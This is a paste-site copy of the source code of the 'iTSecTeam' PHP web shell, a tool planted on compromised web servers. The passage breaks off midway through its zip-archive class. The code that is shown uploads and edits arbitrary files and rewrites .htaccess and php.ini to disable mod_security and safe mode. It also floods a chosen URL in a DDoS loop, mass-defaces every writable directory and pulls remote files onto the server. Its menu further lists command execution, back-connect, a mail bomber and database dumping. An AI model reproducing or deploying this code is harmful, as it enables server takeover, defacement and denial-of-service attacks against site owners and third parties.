· 9 years ago · Aug 18, 2017, 11:06 AM
1<?php
2
3session_start();
4set_time_limit(0);
5error_reporting(0);
6if (get_magic_quotes_gpc()) {
7
8 function stripslashes_deep($value) {
9
10 $value = is_array($value) ? array_map('stripslashes_deep', $value) :
11 stripslashes($value);
12 return $value;
13 }
14
15 $_POST = array_map('stripslashes_deep', $_POST);
16
17 $_GET = array_map('stripslashes_deep', $_GET);
18
19 $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
20
21 $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
22
23}
24
25if ($_GET['do'] == "remove") {
26
27 unlink(getcwd() . $_SERVER["SCRIPT_NAME"]);
28
29}
30
31$basep = $_SERVER['DOCUMENT_ROOT'];
32
33if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
34
35 $slash = "\\";
36
37 $basep = str_replace("/", "\\", $basep);
38
39} else {
40
41 $slash = "/";
42
43 $basep = str_replace("\\", "/", $basep);
44
45}
46
47if ($_GET['do'] == "remove") {
48
49 unlink(getcwd() . $slash . $_SERVER["SCRIPT_NAME"]);
50
51}
52
53if ($_REQUEST['address']) {
54
55 if (is_readable($_REQUEST['address'])) {
56
57 chdir($_REQUEST['address']);
58 } else {
59
60 alert("Permission Denied !");
61 }
62}
63
64$me = $_SERVER['PHP_SELF'];
65
66$formp = "<form method=post action='" . $me . "'>";
67
68$formg = "<form method=get action='" . $me . "'>";
69
70$nowaddress = '<input type=hidden name=address value="' . getcwd() . '">';
71
72if (isset($_FILES["filee"]) and !$_FILES["filee"]["error"]) {
73
74 if (move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"])) {
75
76 alert("File Upload Successful");
77
78 } else {
79
80 alert("Permission Denied !");
81
82
83 }
84
85}
86
87if (ini_get('disable_functions')) {
88
89 $disablef = ini_get('disable_functions');
90
91} else {
92
93 $disablef = "All Functions Enable";
94
95}
96
97if (ini_get('safe_mode')) {
98
99 $safe_modes = "On";
100
101} else {
102
103 $safe_modes = "Off";
104
105}
106
107if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']) {
108
109 if (chmod($_POST['chmode'], "0" . $_POST['chmodenum'])) {
110 alert("Chmod Ok!");
111 } else {
112 alert("Permission Denied !");
113 }
114
115}
116
117$picdir = 'iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAB30lEQVR42mNggAAuIBZCwjxAzMiAC4jIykrZOLplhcWlzAuLS50PwkFRiTPl1TQDBSQk7OFYRMSejY1NA6iFiUFEUinKwS/mcURW1f9wIA7NrPwflFr63zow7bOJd9IbQ8/EN7qucW+0XOLeyJv5XmETU9RjUDV03BlX2P43oaz/f2hO+3+v5Pr/DlEV/81Div/r+eT+V3PL+C/tlvefP6Lzv6BRyD82ce1IBl07/zNJFf3/Eyon/Q8v7vuf0LPqf3Dt7P9mYWX/1YMr/oslTfrPnzjpv4h92n8Bo7D/rJJ6eQyS5n63PLJa/wcU9f33K+z9H9O7+n/TiRf/7Xp3/Ods3v9fJGnif3H37P/Cjqn/+azj/7PIGrQxsBn7P+V2yfzP45bzn9c9979cZN3/1LUX/ktMvfiftfnQf8Gw+v8C3vn/+Txy/3O7Zv1nVjCZx8DqkPCWw7/0PwgLRtb/d+vf/F+3fPZ/jtDa/0y1O/4zVW76zx5c/R+mhlnFfBsDm3fOZ/bIhv+cMU3/pXIm/xdK7f4P4oMwW0zLf7bEnv/s0c1wMSY953MMQnG1P5UKJ/8nFgvaBz9jYPTJfM2c2PqfWMxoGfCFgUFGK4pBw3wh0VhCuRSUkligaY9YzAIA/X/3S1/5EEMAAAAASUVORK5CYII=';
118
119$picfile = 'iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAABaElEQVR42mMIXfWfef7JT7Yrz34o33ABhj9BaKDYrP3PE6IqpgkyoINNFz9Gnnzw/f/NFz8w8JYrX//P2H6zMrByijCKpl1XPkbee/Xt//fv3zHw/ltf/x+4/vnT7O036wOzkTSuP/cu8sazz/+/fPmCgS8++vx/25XP/xcceP4xr2dLPFA5M1jTytPvIq88/vj/40fc+Oz15//LOxZXAZVzgDUtO/E68tLDD/8/fMCB33/4f/rqs/8lLQur4ZoWH3sdeeH+h//v37/Hjt+9/3/yytP/RU1ImuYefh159u67/2/fvsWK37x58//4pSf/C9A1nb7z9v/r169x4mOXHv/PQ9a0AOi8M3cgJmLDIE0nLj9Bdd6CYy8iz94BKniNBb+B0CdBmpADonP9/cjlBx7/333q8f89p9HwGaA4kF665/7/lGqkIHfwKRax9Yh1t3IICLZ1CApBx1ZAbGIbECwlr28IVM4KAPZgwQxbJyVoAAAAAElFTkSuQmCC';
120
121$head = '<style type="text/css">
122
123A:link {text-decoration: none}
124
125A:visited {text-decoration: none}
126
127A:active {text-decoration: none}
128
129A:hover {text-decoration: underline overline; color: 414141;}
130
131.focus td{border-top:0px solid #f8f8f8;border-bottom:1px solid #ddd;background:#f2f2f2;padding:0px 0px 0px 0px;}
132
133</style><head>
134
135<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
136
137<title>iTSecTeam</title>
138
139</head><body topmargin="0" leftmargin="0" rightmargin="0"
140
141bgcolor="#f2f2f2"><div align="center">
142
143 <table border="1" width="1000" height="14" bordercolor="#CDCDCD" style="border-collapse: collapse; border-style: solid; border-width: 1px">
144
145<tr>
146
147<td height="30" width="996">
148
149<p align="center"><font face="Tahoma" style="font-size: 9pt"><span lang="en-us"><a href="?do=home">Home</a> -- <a href="?do=filemanager&address=' .
150 getcwd() . '">File Manager</a> -- <a href="?do=cmd&address=' . getcwd() .
151 '">Command Execute</a> -- <a href="?do=bc&address=' . getcwd() .
152 '">Back Connect</a> --
153
154<a href="?do=bypasscmd&address=' . getcwd() .
155 '">BypasS Command eXecute(SF-DF)</a> -- <a href="?do=symlink&address=' . getcwd() .
156 '">Symlink</a> --
157
158<a href="?do=bypassdir&address=' . getcwd() .
159 '">BypasS Directory</a> -- <a href="?do=eval&address=' . getcwd() . '">
160
161Eval Php</a> -- <a href="?do=db&address=' . getcwd() .
162 '">Data Base</a> -- <a href="?do=convert&address=' . getcwd() .
163 '">Convert</a> -- <a href="?do=mail&address=' . getcwd() .
164 '">Mail Boomber</a><a href="?do=info&address=' . getcwd() . '">
165
166<br>Server Information</a> -- <a href="?do=d0slocal&address=' . getcwd() .
167 '">Dos Local Server</a> -- <a href="?do=dump&address=' . getcwd() .
168 '">Backup Database</a> -- <a href="?do=mass&address=' . getcwd() .
169 '">Mass Deface</a> -- <a href="?do=dlfile&address=' . getcwd() .
170 '">Download Remote File</a> -- <a href="?do=dd0s&address=' . getcwd() .
171 '">DDoS</a> -- <a href="?do=perm&address=' . getcwd() .
172 '">Find Writable Directory</a> -- <a href="?do=apache&address=' . getcwd() .
173 '">Server</a> -- <a href="?do=remove&address=' . getcwd() .
174 '">Remove Me</a> -- <a href="?do=about&address=' . getcwd() . '">About</a>
175
176</span></font></td></tr></table></div>
177
178<div align="center">
179
180<table id="table2" style="border-collapse: collapse; border-style:
181
182solid;" width="1000" bgcolor="#eaeaea" border="1" bordercolor="#c6c6c6"
183
184cellpadding="0"><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 1px; margin-bottom: 0px;
185
186border-collapse: collapse" width="950" border="1" bordercolor="#cdcdcd"
187
188height="10" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr><font face="Tahoma" style="font-size: 9pt"><div align="center">
189
190Operation System : ' . php_uname() . ' | Php Version : ' . phpversion() .
191 ' | Safe Mode : ' . $safe_modes .
192 ' <td style="border: 1px solid rgb(198, 198, 198);"
193
194width="950" bgcolor="#e7e3de" height="10" valign="top">';
195
196$end = '</td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">' .
197 base64_decode("Q29kZWQgYnkgQW1pbiBTaG9rb2hpIChQZWp2YWsp") .
198 '<br><a href="http://www.itsecteam.com" target="_blank"><font size=1>' .
199 base64_decode("aVRTZWNUZWFtLmNvbQ==") .
200 '</a></font></span></td></tr></tbody></table></div></body></html>';
201
202$deny = $head . "<p align='center'> <b>Oh My God!<br> Permission Denied" . $end;
203
204function alert($text) {
205
206 echo "<script>alert('" . $text . "')</script>";
207
208}
209
210if ($_GET['do'] == "edit" && $_GET['filename'] != "dir") {
211
212 if (is_readable($_GET['address'] . $_GET['filename'])) {
213
214 $opedit = fopen($_GET['address'] . $_GET['filename'], "r");
215
216 while (!feof($opedit))
217 $data .= fread($opedit, 9999);
218
219 fclose($opedit);
220
221 echo $head . $formp . $nowaddress . '<p align="center">File Name : ' . $_GET['address'] .
222 $_GET['filename'] . '<br><textarea rows="19" name="fedit" cols="87">' .
223 htmlentities("$data") . '</textarea><br><input value=' . $_GET['filename'] .
224 ' name=namefe><br><input type=submit value=" Save "></form></p>' . $end;
225 exit;
226
227 } else {
228 alert("Permission Denied !");
229 }
230}
231
232function sizee($size) {
233
234 if ($size >= 1073741824) {
235 $size = @round($size / 1073741824 * 100) / 100 . " GB";
236 } elseif ($size >= 1048576) {
237 $size = @round($size / 1048576 * 100) / 100 . " MB";
238 } elseif ($size >= 1024) {
239 $size = @round($size / 1024 * 100) / 100 . " KB";
240 } else {
241 $size = $size . " B";
242 }
243
244 return $size;
245
246}
247
248if ($_REQUEST['do'] == 'about') {
249
250 echo $head . "<p align='center'><b><font color=red>ITSecTeam, IT Security Research & Penetration Testing Team</b></font><br>Version 2.1 <br>Last Update : 2010/10/10<br>Coded By : Amin Shokohi(Pejvak)<br>Special Thanks(M3hr@n.S , Am!rkh@n , R3dm0ve , Provider , H4mid@Tm3l , ahmadbady , Doosib )<br>Home Page : <a href='http://www.itsecteam.com'>http://www.itsecteam.com</a><br>Update Notice: <a href='http://itsecteam.com/en/tools/itsecteam_shell.htm'>ITSecTeam Shell</a><br>Forum : <a href='http://www.forum.itsecteam.com'>http://www.forum.itsecteam.com</a><br>
251
252<center>
253
254<PRE>
255
256
257
258 ______ ______ ____ ______
259
260/\__ _\/\__ _\/\ _`\ /\__ _\
261
262\/_/\ \/\/_/\ \/\ \,\L\_\ __ ___\/_/\ \/ __ __ ___ ___
263
264 \ \ \ \ \ \ \/_\__ \ /'__`\ /'___\ \ \ \ /'__`\ /'__`\ /' __` __`\
265
266 \_\ \__ \ \ \ /\ \L\ \/\ __//\ \__/ \ \ \/\ __//\ \L\.\_/\ \/\ \/\ \
267
268 /\_____\ \ \_\ \ `\____\ \____\ \____\ \ \_\ \____\ \__/.\_\ \_\ \_\ \_\
269
270 \/_____/ \/_/ \/_____/\/____/\/____/ \/_/\/____/\/__/\/_/\/_/\/_/\/_/
271
272
273
274
275
276
277
278
279
280
281
282
283
284</PRE>
285
286
287
288
289
290" . $end;
291 exit;
292
293
294}
295
296function deleteDirectory($dir) {
297
298 if (!file_exists($dir))
299 return true;
300
301 if (!is_dir($dir) || is_link($dir))
302 return unlink($dir);
303
304 foreach (scandir($dir) as $item) {
305
306 if ($item == '.' || $item == '..')
307 continue;
308
309 if (!deleteDirectory($dir . "/" . $item)) {
310
311 chmod($dir . "/" . $item, 0777);
312
313 if (!deleteDirectory($dir . "/" . $item))
314 return false;
315
316 }
317 ;
318 }
319 return rmdir($dir);
320}
321
322
323function download($fileadd, $finame) {
324
325 $dlfilea = $fileadd . $finame;
326
327 header("Content-Disposition: attachment; filename=" . $finame);
328
329 header("Content-Type: application/download");
330
331 header("Content-Length: " . filesize($dlfilea));
332
333 flush();
334
335 $fp = fopen($$dlfilea, "r");
336
337 while (!feof($fp)) {
338
339 echo fread($fp, 65536);
340
341 flush();
342
343 }
344
345 fclose($fp);
346
347}
348
349if ($_GET['do'] == "rename") {
350
351 echo $head . $formp . $nowaddress . '<p align="center"><input value=' . $_GET['filename'] .
352 '><input type=hidden name=addressren value=' . $_GET['address'] . $_GET['filename'] .
353 '> To <input name=nameren><br><input type=submit value=" Save "></form></p>' .
354 $end;
355 exit;
356
357}
358
359
360if ($_GET['byapache'] == 'ofms') {
361
362 $fse = fopen(getcwd() . $slash . ".htaccess", "w");
363
364 fwrite($fse, '<IfModule mod_security.c>
365
366 Sec------Engine Off
367
368 Sec------ScanPOST Off
369
370</IfModule>');
371
372 fclose($fse);
373
374} elseif ($_GET['byapache'] == 'bysap') {
375
376 $fse = fopen(getcwd() . $slash . ".htaccess", "w");
377
378 fwrite($fse, 'Options +FollowSymLinks
379
380DirectoryIndex Persian-Gulf-For-Ever.html');
381
382 fclose($fse);
383
384} elseif ($_GET['byapache'] == 'sfadf') {
385
386 $fse = fopen(getcwd() . $slash . "php.ini", "w");
387
388 fwrite($fse, 'safe_mode=OFF
389
390disable_functions=NONE');
391
392 fclose($fse);
393
394}
395
396if ($_GET['do'] == "apache") {
397
398 echo $head . $formg . $nowaddress . '<p align="center">
399
400<select name=byapache>
401
402<option value="ofms">Off Mode Security(.htaccess)</option><option value="bysap">Bypass Symlink(.htaccess)</option>
403
404<option value="sfadf">Disable Safe Mode & Disable Function(Php.ini)</option>
405
406</select><br><input type=submit value=eXecute></form></p>' . $end;
407 exit;
408
409}
410
411if ($_GET['do'] == "dd0s") {
412
413 echo $head . $formg . $nowaddress .
414 '<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value=" DDoS "></form></p>' .
415 $end;
416 exit;
417
418}
419
420
421if ($_GET['urldd0'] && $_GET['timedd0']) {
422
423 for ($id = 0; $$id < $_GET['timedd0']; $id++) {
424
425 $fp = null;
426
427 $contents = null;
428
429 $fp = fopen($_GET['urldd0'], "rb");
430
431 while (!feof($fp)) {
432
433 $contents .= fread($fp, 8192);
434
435 }
436
437 fclose($fp);
438
439 }
440}
441
442if ($_GET['do'] == "dlfile") {
443
444 echo $head . $formp . $nowaddress .
445 '<p align="center">Download Remote File!<br>Address : <input name=adlr size=70><br>Save To : <input name=adsr value=' .
446 getcwd() . $slash . ' size=70><br><input type=submit value=" Download "></form></p>' .
447 $end;
448 exit;
449
450}
451
452function dirpe($addres) {
453
454 global $slash;
455
456 $idd = 0;
457
458 if ($dirhen = @opendir($addres)) {
459
460 while ($file = readdir($dirhen)) {
461
462 $permdir = str_replace('//', '/', $addres . $slash . $file);
463
464 if ($file != '.' && $file != '..' && is_dir($permdir)) {
465
466 if (is_writable($permdir)) {
467
468 $dirdata[$idd]['filename'] = $permdir;
469
470 $idd++;
471
472 }
473
474 dirpe($permdir);
475
476 }
477
478 }
479
480 closedir($dirhen);
481
482 } else {
483
484 return ("notperm");
485
486 }
487
488 if ($dirdata) {
489
490 return $dirdata;
491
492 } else {
493
494 return "notfound";
495
496
497 }
498
499}
500
501function dirpmass($addres, $massname, $masssource) {
502
503 global $slash;
504
505 $idd = 0;
506
507 if ($dirhen = @opendir($addres)) {
508
509 while ($file = readdir($dirhen)) {
510
511 $permdir = str_replace('//', '/', $addres . $slash . $file);
512
513 if ($file != '.' && $file != '..' && is_dir($permdir)) {
514
515 if (is_writable($permdir)) {
516
517 if ($fm = fopen($permdir . $slash . $massname, "w")) {
518
519 fwrite($fm, $masssource);
520
521 fclose($fm);
522
523 $dirdata[$idd]['filename'] = $permdir;
524
525 }
526
527
528 $idd++;
529
530 }
531
532 dirpmass($permdir);
533
534 }
535
536 }
537
538 closedir($dirhen);
539
540 } else {
541
542 return ("notperm");
543
544 }
545
546 if ($dirdata) {
547
548 return $dirdata;
549
550 } else {
551
552 return "notfound";
553
554
555 }
556
557}
558
559if ($_GET['do'] == "perm") {
560
561 echo $head . $formp .
562 '<p align="center">Find All Folder Writeable<br> <input name=affw value="' .
563 getcwd() . $slash . '" size=50><br><input type=submit value=" Search "></form></p>' .
564 $end;
565 exit;
566
567}
568
569if ($_POST['affw']) {
570
571 $arrfilelist = dirpe($_POST['affw']);
572
573 if ($arrfilelist == 'notfound') {
574
575 alert("Not Found !");
576
577 } elseif ($arrfilelist == 'notperm') {
578
579 alert("Permission Denied !");
580
581 } else {
582
583 foreach ($arrfilelist as $tmpdir) {
584
585 if ($coi % 2) {
586
587 $colort = '"#e7e3de"';
588
589 } else {
590
591 $colort = '"#e4e1de"';
592 }
593
594 $coi++;
595
596 $permdir = $permdir .
597 '<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor=' .
598 $colort . ' width="950" height="20" dir="ltr">
599
600<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address=' .
601 $tmpdir['filename'] . '"><b>' . $tmpdir['filename'] . '</b></span></td>
602
603<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td>
604
605<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>';
606
607 }
608
609 echo $head . '
610
611<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
612
613<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : ' .
614 getcwd() . "<br>" . printdrive() . '<br><a href="?do=back&address=' . $backaddresss .
615 '"><font color=#000000>Back</span></td>
616
617</tr></table>' . $permdir . '</table>
618
619<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>
620
621<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
622
623<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>' . $formg .
624 'Change Directory</font></td>
625
626<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value=' .
627 getcwd() . '><input type=submit value="Go"></form></td></tr><tr>
628
629<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
630
631<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---> </td>
632
633<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
634
635<form action="' . $me . '" method=post enctype=multipart/form-data>' . $nowaddress .
636 '
637
638<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee >
639
640<input type=submit value=Upload /><br>' . $ifupload . '</form></td></tr><tr>
641
642<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
643
644<font face="Tahoma" style="font-size: 10pt"><b>' . $formp .
645 'Chmod ----></b> File : </td>
646
647<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
648
649<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode> Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>
650
651<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
652
653<font face="Tahoma" style="font-size: 10pt"><b>' . $formp .
654 'Create Dir ----></b> Dirctory Name </td>
655
656<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
657
658<font face="Tahoma" style="font-size: 10pt">
659
660<input name=cdirname size=20>' . $nowaddress .
661 ' <input type=submit value=" Create "></form></td></tr><tr>
662
663<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
664
665<font face="Tahoma" style="font-size: 10pt">' . $formp .
666 '<b>Create File ----></b> Name File </td>
667
668<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
669
670<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>' . $nowaddress .
671 ' <input type=submit value=" Create "></form></td></tr><tr>
672
673<td width="200" align="right" valign="top">
674
675<font face="Tahoma" style="font-size: 10pt">' . $formp .
676 '<b>Copy ----></b></b> File : </td>
677
678<td width="750"><font face="Tahoma" style="font-size: 10pt">
679
680<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>' .
681 $end;
682 exit;
683
684 }
685}
686
687if ($_GET['do'] == "mass") {
688
689 echo $head . $formp .
690 '<p align="center">[Mass Deface]<br><input name=mffw value="' . getcwd() . $slash .
691 '" size=50><input name=massname value="def.htm" size=10><br><textarea name=masssource cols=60 rows=18>Source</textarea><br><input type=submit value=" Mass "></form></p>' .
692 $end;
693 exit;
694
695}
696
697if ($_POST['mffw']) {
698
699 $arrfilelist = dirpmass($_POST['mffw'], $_POST['massname'], $_POST['masssource']);
700
701 if ($arrfilelist == 'notfound') {
702
703 alert("Not Found !");
704
705 } elseif ($arrfilelist == 'notperm') {
706
707 alert("Permission Denied !");
708
709 } else {
710
711 foreach ($arrfilelist as $tmpdir) {
712
713 if ($coi % 2) {
714
715 $colort = '"#e7e3de"';
716
717 } else {
718
719 $colort = '"#e4e1de"';
720 }
721
722 $coi++;
723
724 $permdir = $permdir .
725 '<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor=' .
726 $colort . ' width="950" height="20" dir="ltr">
727
728<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address=' .
729 $tmpdir['filename'] . '"><b>' . $tmpdir['filename'] . '</b></span></td>
730
731<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td>
732
733<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>';
734
735 }
736
737 echo $head . '
738
739<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr">
740
741<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : ' .
742 getcwd() . "<br>" . printdrive() . '<br><a href="?do=back&address=' . $backaddresss .
743 '"><font color=#000000>Back</span></td>
744
745</tr></table>' . $permdir . '</table>
746
747<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr>
748
749<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
750
751<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>' . $formg .
752 'Change Directory</font></td>
753
754<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value=' .
755 getcwd() . '><input type=submit value="Go"></form></td></tr><tr>
756
757<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
758
759<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---> </td>
760
761<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
762
763<form action="' . $me . '" method=post enctype=multipart/form-data>' . $nowaddress .
764 '
765
766<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee >
767
768<input type=submit value=Upload /><br>' . $ifupload . '</form></td></tr><tr>
769
770<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
771
772<font face="Tahoma" style="font-size: 10pt"><b>' . $formp .
773 'Chmod ----></b> File : </td>
774
775<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
776
777<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode> Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr>
778
779<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
780
781<font face="Tahoma" style="font-size: 10pt"><b>' . $formp .
782 'Create Dir ----></b> Dirctory Name </td>
783
784<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
785
786<font face="Tahoma" style="font-size: 10pt">
787
788<input name=cdirname size=20>' . $nowaddress .
789 ' <input type=submit value=" Create "></form></td></tr><tr>
790
791<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
792
793<font face="Tahoma" style="font-size: 10pt">' . $formp .
794 '<b>Create File ----></b> Name File </td>
795
796<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080">
797
798<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>' . $nowaddress .
799 ' <input type=submit value=" Create "></form></td></tr><tr>
800
801<td width="200" align="right" valign="top">
802
803<font face="Tahoma" style="font-size: 10pt">' . $formp .
804 '<b>Copy ----></b></b> File : </td>
805
806<td width="750"><font face="Tahoma" style="font-size: 10pt">
807
808<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>' .
809 $end;
810 exit;
811
812 }
813}
814
815if ($_POST['adlr'] && $_POST['adsr']) {
816
817 $url = $_POST['adlr'];
818
819 $newfname = $_POST['adsr'] . basename($url);
820
821 $file = fopen($url, "rb");
822
823 if ($file) {
824
825 $newf = fopen($newfname, "wb");
826
827 if ($newf)
828 while (!feof($file)) {
829
830 fwrite($newf, fread($file, 1024 * 8), 1024 * 8);
831
832 }
833
834 alert("File Downloaded Success");
835
836 } else {
837 alert("Can Not Open File");
838 }
839
840 if ($file) {
841
842 fclose($file);
843
844 }
845
846 if ($newf) {
847
848 fclose($newf);
849
850 }
851
852}
853
854if ($_GET['do'] == "down" and $_GET['type'] == 'file') {
855
856 download($_GET['address'], $_GET['filename']);
857}
858
859if ($_GET['do'] == "down" and $_GET['type'] == 'dir') {
860
861 class zipfile {
862
863 var $datasec = array();
864
865 var $ctrl_dir = array();
866
867 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
868
869 var $old_offset = 0;
870
871 function add_dir($name) {
872
873 $name = str_replace("\\", "/", $name);
874
875 $fr = "\x50\x4b\x03\x04";
876
877 $fr .= "\x0a\x00";
878
879 $fr .= "\x00\x00";
880
881 $fr .= "\x00\x00";
882
883 $fr .= "\x00\x00\x00\x00";
884
885 $fr .= pack("V", 0);
886
887 $fr .= pack("V", 0);
888
889 $fr .= pack("V", 0);
890
891 $fr .= pack("v", strlen($name));
892
893 $fr .= pack("v", 0);
894
895 $fr .= $name;
896
897 $fr .= pack("V", $crc);
898
899 $fr .= pack("V", $c_len);
900
901 $fr .= pack("V", $unc_len);
902
903 $this->datasec[] = $fr;
904
905 $new_offset = strlen(implode("", $this->datasec));
906
907 $cdrec = "\x50\x4b\x01\x02";
908
909 $cdrec .= "\x00\x00";
910
911 $cdrec .= "\x0a\x00";
912
913 $cdrec .= "\x00\x00";
914
915 $cdrec .= "\x00\x00";
916
917 $cdrec .= "\x00\x00\x00\x00";
918
919 $cdrec .= pack("V", 0);
920
921 $cdrec .= pack("V", 0);
922
923 $cdrec .= pack("V", 0);
924
925 $cdrec .= pack("v", strlen($name));
926
927 $cdrec .= pack("v", 0);
928
929 $cdrec .= pack("v", 0);
930
931 $cdrec .= pack("v", 0);
932
933 $cdrec .= pack("v", 0);
934
935 $ext = "\x00\x00\x10\x00";
936
937 $ext = "\xff\xff\xff\xff";
938
939 $cdrec .= pack("V", 16);
940
941 $cdrec .= pack("V", $this->old_offset);
942
943 $this->old_offset = $new_offset;
944
945 $cdrec .= $name;
946
947 $this->ctrl_dir[] = $cdrec;
948
949 }
950
951 function add_file($data, $name) {
952
953 $name = str_replace("\\", "/", $name);
954
955 $fr = "\x50\x4b\x03\x04";
956
957 $fr .= "\x14\x00";
958
959 $fr .= "\x00\x00";
960
961 $fr .= "\x08\x00";
962
963 $fr .= "\x00\x00\x00\x00";
964
965 $unc_len = strlen($data);
966
967 $crc = crc32($data);
968
969 $zdata = gzcompress($data);
970
971 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
972
973 $c_len = strlen($zdata);
974
975 $fr .= pack("V", $crc);
976
977 $fr .= pack("V", $c_len);
978
979 $fr .= pack("V", $unc_len);
980
981 $fr .= pack("v", strlen($name));
982
983 $fr .= pack("v", 0);
984
985 $fr .= $name;
986
987 $fr .= $zdata;
988
989 $fr .= pack("V", $crc);
990
991 $fr .= pack("V", $c_len);
992
993 $fr .= pack("V", $unc_len);
994
995 $this->datasec[] = $fr;
996
997 $new_offset = strlen(implode("", $this->datasec));
998
999 $cdrec = "\x50\x4b\x01\x02";
1000
1001 $cdrec .= "\x00\x00";
1002
1003 $cdrec .= "\x14\x00";
1004
1005 $cdrec .= "\x00\x00";
1006
1007 $cdrec .= "\x08\x00";
1008
1009 $cdrec .= "\x00\x00\x00\x00";
1010
1011 $cdrec .= pack("V", $crc);
1012
1013 $cdrec .= pack("V", $c_len);
1014
1015 $cdrec .= pack("V", $unc_len);
1016
1017 $cdrec .= pack("v", strlen($name));
